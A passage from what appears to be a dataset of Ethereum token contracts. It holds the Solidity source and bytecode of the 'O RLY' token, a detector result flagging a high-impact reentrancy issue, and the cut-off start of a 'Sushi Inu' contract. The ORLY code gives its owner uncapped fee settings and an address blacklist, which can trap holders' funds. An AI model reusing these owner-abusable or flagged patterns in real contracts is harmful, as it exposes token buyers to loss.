address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ORLY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "O RLY";
string private constant _symbol = "ORLY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
//Original Fee
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x27FEA524b24cB3F77703D00FC4A8cDa403b9b35E);
address payable private _marketingAddress = payable(0xDa2D891020796019b2824252d77E60AEe6017e3c);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610550578063dd62ed3e14610570578063ea1644d5146105b6578063f2fde38b146105d657600080fd5b8063a2a957bb146104cb578063a9059cbb146104eb578063bfd792841461050b578063c3c8cd801461053b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b411461047e57806398a5c315146104ab57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b6105f6565b005b34801561020a57600080fd5b506040805180820190915260058152644f20524c5960d81b60208201525b6040516102359190611a1f565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a74565b610695565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611aa0565b6106ac565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ae1565b610715565b34801561036957600080fd5b506101fc610378366004611b0e565b610760565b34801561038957600080fd5b506101fc6107a8565b34801561039e57600080fd5b506102bd6103ad366004611ae1565b6107f3565b3480156103be57600080fd5b506101fc610815565b3480156103d357600080fd5b506101fc6103e2366004611b29565b610889565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ae1565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611b0e565b6108b8565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506040805180820190915260048152634f524c5960e01b6020820152610228565b3480156104b757600080fd5b506101fc6104c6366004611b29565b610900565b3480156104d757600080fd5b506101fc6104e6366004611b42565b61092f565b3480156104f757600080fd5b5061025e610506366004611a74565b61096d565b34801561051757600080fd5b5061025e610526366004611ae1565b60106020526000908152604090205460ff1681565b34801561054757600080fd5b506101fc61097a565b34801561055c57600080fd5b506101fc61056b366004611b74565b6109ce565b34801561057c57600080fd5b506102bd61058b366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c257600080fd5b506101fc6105d1366004611b29565b610a6f565b3480156105e257600080fd5b506101fc6105f1366004611ae1565b610a9e565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161062090611c31565b60405180910390fd5b60005b81518110156106915760016010600084848151811061064d5761064d611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068981611c92565b91505061062c565b5050565b60006106a2338484610b88565b5060015b92915050565b60006106b9848484610cac565b61070b843361070685604051806060016040528060288152602001611dac602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e8565b610b88565b5060019392505050565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062090611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161062090611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107dd57506013546001600160a01b0316336001600160a01b0316145b6107e657600080fd5b476107f081611222565b50565b6001600160a01b0381166000908152600260205260408120546106a69061125c565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161062090611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161062090611c31565b601655565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161062090611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092a5760405162461bcd60e51b815260040161062090611c31565b601855565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161062090611c31565b600a93909355600891909155600b55600955565b60006106a2338484610cac565b6012546001600160a01b0316336001600160a01b031614806109af57506013546001600160a01b0316336001600160a01b0316145b6109b857600080fd5b60006109c3306107f3565b90506107f0816112e0565b6000546001600160a01b031633146109f85760405162461bcd60e51b815260040161062090611c31565b60005b82811015610a69578160056000868685818110610a1a57610a1a611c66565b9050602002016020810190610a2f9190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6181611c92565b9150506109fb565b50505050565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161062090611c31565b601755565b6000546001600160a01b03163314610ac85760405162461bcd60e51b815260040161062090611c31565b6001600160a01b038116610b2d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610620565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610620565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610620565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610620565b6001600160a01b038216610d725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610620565b60008111610dd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610620565b6000546001600160a01b03848116911614801590610e0057506000546001600160a01b03838116911614155b156110e157601554600160a01b900460ff16610e99576000546001600160a01b03848116911614610e995760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610620565b601654811115610eeb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610620565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2d57506001600160a01b03821660009081526010602052604090205460ff16155b610f855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610620565b6015546001600160a01b0383811691161461100a5760175481610fa7846107f3565b610fb19190611cad565b1061100a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610620565b6000611015306107f3565b60185460165491925082101590821061102e5760165491505b8080156110455750601554600160a81b900460ff16155b801561105f57506015546001600160a01b03868116911614155b80156110745750601554600160b01b900460ff165b801561109957506001600160a01b03851660009081526005602052604090205460ff16155b80156110be57506001600160a01b03841660009081526005602052604090205460ff16155b156110de576110cc826112e0565b4780156110dc576110dc47611222565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112357506001600160a01b03831660009081526005602052604090205460ff165b8061115557506015546001600160a01b0385811691161480159061115557506015546001600160a01b03848116911614155b15611162575060006111dc565b6015546001600160a01b03858116911614801561118d57506014546001600160a01b03848116911614155b1561119f57600a54600c55600b54600d555b6015546001600160a01b0384811691161480156111ca57506014546001600160a01b03858116911614155b156111dc57600854600c55600954600d555b610a6984848484611469565b6000818484111561120c5760405162461bcd60e51b81526004016106209190611a1f565b5060006112198486611cc5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b60006006548211156112c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610620565b60006112cd611497565b90506112d983826114ba565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132857611328611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137c57600080fd5b505afa158015611390573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b49190611cdc565b816001815181106113c7576113c7611c66565b6001600160a01b0392831660209182029290920101526014546113ed9130911684610b88565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611426908590600090869030904290600401611cf9565b600060405180830381600087803b15801561144057600080fd5b505af1158015611454573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611476576114766114fc565b61148184848461152a565b80610a6957610a69600e54600c55600f54600d55565b60008060006114a4611621565b90925090506114b382826114ba565b9250505090565b60006112d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611661565b600c5415801561150c5750600d54155b1561151357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153c8761168f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156e90876116ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159d908661172e565b6001600160a01b0389166000908152600260205260409020556115bf8161178d565b6115c984836117d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160e91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163c82826114ba565b82101561165857505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116825760405162461bcd60e51b81526004016106209190611a1f565b5060006112198486611d6a565b60008060008060008060008060006116ac8a600c54600d546117fb565b92509250925060006116bc611497565b905060008060006116cf8e878787611850565b919e509c509a509598509396509194505050505091939550919395565b60006112d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e8565b60008061173b8385611cad565b9050838110156112d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610620565b6000611797611497565b905060006117a583836118a0565b306000908152600260205260409020549091506117c2908261172e565b30600090815260026020526040902055505050565b6006546117e490836116ec565b6006556007546117f4908261172e565b6007555050565b6000808080611815606461180f89896118a0565b906114ba565b90506000611828606461180f8a896118a0565b905060006118408261183a8b866116ec565b906116ec565b9992985090965090945050505050565b600080808061185f88866118a0565b9050600061186d88876118a0565b9050600061187b88886118a0565b9050600061188d8261183a86866116ec565b939b939a50919850919650505050505050565b6000826118af575060006106a6565b60006118bb8385611d8c565b9050826118c88583611d6a565b146112d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610620565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f057600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b600060208284031215611af357600080fd5b81356112d981611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112d982611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca657611ca6611c7c565b5060010190565b60008219821115611cc057611cc0611c7c565b500190565b600082821015611cd757611cd7611c7c565b500390565b600060208284031215611cee57600080fd5b81516112d981611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d495784516001600160a01b031683529383019391830191600101611d24565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da657611da6611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c6144b8e031c4935a7c15cbf94197555316a4466262e2990a8068fd3ecdcf6d464736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,193 |
0x319b564906d35f6c6f9a2d7183d49583077df773 | /**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
// SPDX-License-Identifier: Unlicensed
/*
Telegram: https://t.me/sushiinu
Web: https://sushinu.world
████████████████
████░░▒▒▒▒▒▒░░░░▒▒▒▒██████
██▒▒░░▒▒░░░░░░░░░░░░░░░░░░░░████
████████▒▒░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░████
▒▒▒▒██▒▒▒▒░░▒▒██████▒▒░░░░░░░░░░░░░░▒▒░░░░░░▒▒▒▒██
████░░▒▒░░▒▒░░░░░░░░░░░░████▒▒▒▒░░░░░░░░░░░░░░▒▒░░░░▒▒██
██░░░░░░░░▒▒░░▒▒░░░░░░░░░░░░░░████▒▒░░░░░░░░░░░░░░░░░░░░░░██
██▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒████░░░░░░░░░░░░░░░░░░░░▒▒██
██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██▒▒░░░░░░░░░░░░░░░░░░▒▒██
██░░▒▒░░░░░░░░░░░░░░░░░░▒▒░░░░░░▒▒░░░░░░░░▒▒██▒▒░░▒▒░░░░░░░░░░░░░░░░██
▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒██▒▒░░░░░░░░░░░░░░░░▒▒██
████░░░░░░░░░░░░▒▒░░▒▒▒▒░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒██▒▒░░░░░░░░░░░░░░░░▒▒██
██░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▒▒░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░██░░▒▒░░░░░░░░░░░░░░██
██░░░░░░▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒░░▒▒▒▒░░░░░░▒▒▒▒░░░░░░░░░░▒▒▒▒▓▓▒▒░░░░░░░░░░░░░░▒▒██
██▒▒▒▒▒▒██████░░░░░░░░░░██████▒▒▒▒▒▒░░▒▒░░▒▒▒▒░░░░░░░░░░▒▒░░░░██░░░░░░░░░░░░░░░░██
████████ ██ ░░ ░░░░░░██████▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░▒▒░░██▒▒▒▒░░░░░░░░░░░░░░██
██ ░░░░░░░░████▒▒▒▒░░▒▒░░░░░░░░░░░░▒▒░░██▒▒▒▒░░░░▒▒▒▒░░░░░░██
████ ░░ ░░ ░░░░████▒▒▒▒▒▒░░░░░░░░░░░░░░████▒▒░░░░░░░░░░░░░░▒▒██
████ ░░ ░░ ░░░░██▒▒░░▒▒░░░░░░░░░░░░▒▒████▒▒▒▒░░░░░░░░░░░░░░████
████ ░░██▒▒▒▒▒▒░░░░░░░░░░▒▒██░░██▒▒▒▒░░░░░░░░░░░░░░▒▒██
▓▓▓▓ ░░ ░░░░ ░░██▒▒░░▒▒░░░░░░░░░░▒▒██ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██
████████ ░░██▒▒▒▒▒▒░░░░░░░░░░▒▒██████▒▒▒▒░░░░▒▒████
░░░░░░ ▓▓██████████▒▒▒▒▒▒░░░░░░░░░░░░▒▒▒▒▒▒▒▒██▓▓▓▓▓▓ ░░
██▒▒▒▒▒▒▒▒░░░░░░░░░░░░▒▒██
████▒▒▒▒▒▒░░░░░░▒▒▒▒██
████▒▒▒▒▒▒▒▒████
████████
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
